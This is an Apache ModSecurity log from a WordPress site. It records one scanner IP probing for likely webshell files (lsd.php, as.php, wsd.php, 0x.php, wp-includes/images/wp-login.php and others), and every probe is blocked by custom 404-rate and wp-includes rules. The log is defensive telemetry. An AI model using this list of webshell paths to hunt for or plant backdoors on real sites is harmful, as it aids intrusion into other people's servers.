[Fri Feb 27 02:12:28.688016 2026] [:error] [pid 18843:tid 18942] [client 20.104.124.39:45103] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aaCNDCuD2bhSYSowPs0NKAAAAQI"]
[Fri Feb 27 02:12:29.867894 2026] [:error] [pid 20059:tid 20108] [client 20.104.124.39:45179] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aaCNDZZBS5wIa_NsqsgpkgAAAcY"]
[Fri Feb 27 02:12:30.895172 2026] [:error] [pid 18843:tid 18947] [client 20.104.124.39:45067] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aaCNDiuD2bhSYSowPs0NKQAAAQc"]
[Fri Feb 27 02:12:31.870296 2026] [:error] [pid 18843:tid 18955] [client 20.104.124.39:45122] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aaCNDyuD2bhSYSowPs0NKwAAAQ8"]
[Fri Feb 27 02:12:32.441256 2026] [:error] [pid 20059:tid 20123] [client 20.104.124.39:45171] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aaCNEJZBS5wIa_NsqsgpogAAAdU"]
[Fri Feb 27 02:12:33.080562 2026] [:error] [pid 20059:tid 20108] [client 20.104.124.39:45081] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aaCNEZZBS5wIa_NsqsgppQAAAcY"]
[Fri Feb 27 02:12:33.654849 2026] [:error] [pid 18843:tid 18962] [client 20.104.124.39:45167] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aaCNESuD2bhSYSowPs0NLQAAARY"]
[Fri Feb 27 02:12:34.587786 2026] [:error] [pid 18843:tid 18954] [client 20.104.124.39:45131] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aaCNEiuD2bhSYSowPs0NMgAAAQ4"]
[Fri Feb 27 02:12:35.669338 2026] [:error] [pid 19020:tid 19037] [client 20.104.124.39:45143] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aaCNE7N3kp7wL6QzPnU5NAAAAU8"]
[Fri Feb 27 02:12:36.254346 2026] [:error] [pid 20059:tid 20116] [client 20.104.124.39:45073] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aaCNFJZBS5wIa_NsqsgpqwAAAc4"]
[Fri Feb 27 02:12:36.849950 2026] [:error] [pid 20059:tid 20103] [client 20.104.124.39:45109] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aaCNFJZBS5wIa_NsqsgprwAAAcE"]
[Fri Feb 27 02:12:37.443769 2026] [:error] [pid 18831:tid 18924] [client 20.104.124.39:45181] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aaCNFf5KHTHUIuWRG2bWUQAAAEs"]
[Fri Feb 27 02:12:38.047532 2026] [:error] [pid 18831:tid 18917] [client 20.104.124.39:45079] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aaCNFv5KHTHUIuWRG2bWUgAAAEQ"]
[Fri Feb 27 02:12:38.720506 2026] [:error] [pid 18843:tid 18952] [client 20.104.124.39:45164] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aaCNFiuD2bhSYSowPs0NOAAAAQw"]
[Fri Feb 27 02:12:39.543672 2026] [:error] [pid 20059:tid 20110] [client 20.104.124.39:45147] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aaCNF5ZBS5wIa_NsqsgpxQAAAcg"]
[Fri Feb 27 02:12:40.448696 2026] [:error] [pid 19020:tid 19038] [client 20.104.124.39:45156] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atx.php"] [unique_id "aaCNGLN3kp7wL6QzPnU5OgAAAVA"]
[Fri Feb 27 02:12:41.719624 2026] [:error] [pid 18831:tid 18926] [client 20.104.124.39:45072] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atx.php"] [unique_id "aaCNGf5KHTHUIuWRG2bWVgAAAE0"]
[Fri Feb 27 02:12:43.146022 2026] [:error] [pid 18831:tid 18915] [client 20.104.124.39:45100] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atx.php"] [unique_id "aaCNG_5KHTHUIuWRG2bWWgAAAEI"]
[Fri Feb 27 02:12:44.239537 2026] [:error] [pid 18818:tid 18899] [client 20.104.124.39:45146] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atx.php"] [unique_id "aaCNHBhPgqk2SeS_W83MDQAAAA8"]
[Fri Feb 27 02:12:45.250366 2026] [:error] [pid 19020:tid 19040] [client 20.104.124.39:45119] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aaCNHbN3kp7wL6QzPnU5QgAAAVI"]
[Fri Feb 27 02:12:47.837887 2026] [:error] [pid 20059:tid 20104] [client 20.104.124.39:44996] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aaCNH5ZBS5wIa_Nsqsgp5AAAAcI"]
[Fri Feb 27 02:12:49.311037 2026] [:error] [pid 18831:tid 18919] [client 20.104.124.39:45000] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aaCNIf5KHTHUIuWRG2bWXwAAAEY"]
[Fri Feb 27 02:12:50.943752 2026] [:error] [pid 18843:tid 18957] [client 20.104.124.39:45069] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aaCNIiuD2bhSYSowPs0NQgAAARE"]
[Fri Feb 27 02:13:00.621510 2026] [:error] [pid 18843:tid 18957] [client 20.104.124.39:45126] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaCNLCuD2bhSYSowPs0NVgAAARE"]
[Fri Feb 27 02:13:02.050323 2026] [:error] [pid 20059:tid 20126] [client 20.104.124.39:45132] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aaCNLpZBS5wIa_NsqsgqRAAAAdg"]
[Fri Feb 27 02:13:03.456611 2026] [:error] [pid 20059:tid 20122] [client 20.104.124.39:45142] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aaCNL5ZBS5wIa_NsqsgqRwAAAdQ"]
[Fri Feb 27 02:13:04.666261 2026] [:error] [pid 20059:tid 20123] [client 20.104.124.39:45093] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aaCNMJZBS5wIa_NsqsgqTwAAAdU"]
[Fri Feb 27 02:13:05.354866 2026] [:error] [pid 20059:tid 20112] [client 20.104.124.39:45159] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aaCNMZZBS5wIa_NsqsgqUQAAAco"]
[Fri Feb 27 02:13:06.278119 2026] [:error] [pid 20059:tid 20122] [client 20.104.124.39:45065] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aaCNMpZBS5wIa_NsqsgqWQAAAdQ"]
[Fri Feb 27 02:13:06.902919 2026] [:error] [pid 19020:tid 19022] [client 20.104.124.39:45094] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aaCNMrN3kp7wL6QzPnU5cwAAAUA"]
[Fri Feb 27 02:13:07.544075 2026] [:error] [pid 19020:tid 19024] [client 20.104.124.39:45148] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aaCNM7N3kp7wL6QzPnU5dgAAAUI"]
[Fri Feb 27 02:13:08.975635 2026] [:error] [pid 18843:tid 18942] [client 20.104.124.39:45145] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aaCNNCuD2bhSYSowPs0NXQAAAQI"]
[Fri Feb 27 02:13:10.033188 2026] [:error] [pid 19020:tid 19041] [client 20.104.124.39:45019] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aaCNNrN3kp7wL6QzPnU5egAAAVM"]
[Fri Feb 27 02:13:11.030211 2026] [:error] [pid 18831:tid 18922] [client 20.104.124.39:44995] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aaCNN_5KHTHUIuWRG2bWdQAAAEk"]
[Fri Feb 27 02:13:11.604758 2026] [:error] [pid 20059:tid 20125] [client 20.104.124.39:45090] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aaCNN5ZBS5wIa_NsqsgqbAAAAdc"]
[Fri Feb 27 02:13:12.810615 2026] [:error] [pid 20059:tid 20102] [client 20.104.124.39:45074] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aaCNOJZBS5wIa_NsqsgqcwAAAcA"]
[Fri Feb 27 02:13:13.296543 2026] [:error] [pid 20059:tid 20103] [client 20.104.124.39:44997] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aaCNOZZBS5wIa_NsqsgqdwAAAcE"]
[Fri Feb 27 02:13:13.803337 2026] [:error] [pid 20059:tid 20116] [client 20.104.124.39:45113] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aaCNOZZBS5wIa_NsqsgqfQAAAc4"]
[Fri Feb 27 02:13:14.425637 2026] [:error] [pid 20059:tid 20107] [client 20.104.124.39:45018] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aaCNOpZBS5wIa_NsqsgqggAAAcU"]
[Fri Feb 27 02:13:15.421598 2026] [:error] [pid 20059:tid 20114] [client 20.104.124.39:45166] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aaCNO5ZBS5wIa_NsqsgqjAAAAcw"]
[Fri Feb 27 02:13:16.324670 2026] [:error] [pid 20059:tid 20124] [client 20.104.124.39:45101] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aaCNPJZBS5wIa_NsqsgqmQAAAdY"]
[Fri Feb 27 02:13:17.330260 2026] [:error] [pid 18843:tid 18954] [client 20.104.124.39:45007] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aaCNPSuD2bhSYSowPs0NZAAAAQ4"]
[Fri Feb 27 02:13:18.482188 2026] [:error] [pid 18831:tid 18937] [client 20.104.124.39:45153] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aaCNPv5KHTHUIuWRG2bWeAAAAFg"]
[Fri Feb 27 02:13:19.146218 2026] [:error] [pid 18818:tid 18891] [client 20.104.124.39:45129] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aaCNPxhPgqk2SeS_W83MLwAAAAc"]
[Fri Feb 27 02:13:20.013583 2026] [:error] [pid 18843:tid 18959] [client 20.104.124.39:45028] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aaCNQCuD2bhSYSowPs0NaQAAARM"]
[Fri Feb 27 02:13:20.880305 2026] [:error] [pid 20059:tid 20107] [client 20.104.124.39:45020] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aaCNQJZBS5wIa_NsqsgqpgAAAcU"]
[Fri Feb 27 02:13:21.643149 2026] [:error] [pid 20059:tid 20118] [client 20.104.124.39:45102] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aaCNQZZBS5wIa_NsqsgqqwAAAdA"]
[Fri Feb 27 02:13:22.119284 2026] [:error] [pid 20059:tid 20117] [client 20.104.124.39:45012] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aaCNQpZBS5wIa_NsqsgqrgAAAc8"]
[Fri Feb 27 02:13:22.665778 2026] [:error] [pid 20059:tid 20123] [client 20.104.124.39:45058] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaCNQpZBS5wIa_NsqsgqsAAAAdU"]
[Fri Feb 27 02:13:23.271455 2026] [:error] [pid 18831:tid 18923] [client 20.104.124.39:45108] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaCNQ_5KHTHUIuWRG2bWewAAAEo"]
[Fri Feb 27 02:13:24.042313 2026] [:error] [pid 20059:tid 20105] [client 20.104.124.39:45096] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaCNRJZBS5wIa_NsqsgqsQAAAcM"]
[Fri Feb 27 02:13:24.978134 2026] [:error] [pid 18818:tid 18896] [client 20.104.124.39:45026] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaCNRBhPgqk2SeS_W83MNwAAAAw"]
[Fri Feb 27 02:13:26.138224 2026] [:error] [pid 20059:tid 20113] [client 20.104.124.39:45015] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aaCNRpZBS5wIa_NsqsgqvwAAAcs"]
[Fri Feb 27 02:13:27.132256 2026] [:error] [pid 19020:tid 19023] [client 20.104.124.39:45034] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aaCNR7N3kp7wL6QzPnU5jQAAAUE"]
[Fri Feb 27 02:13:28.428537 2026] [:error] [pid 20059:tid 20106] [client 20.104.124.39:45165] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aaCNSJZBS5wIa_NsqsgqzgAAAcQ"]
[Fri Feb 27 02:13:29.588796 2026] [:error] [pid 18831:tid 18920] [client 20.104.124.39:45063] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aaCNSf5KHTHUIuWRG2bWgAAAAEc"]
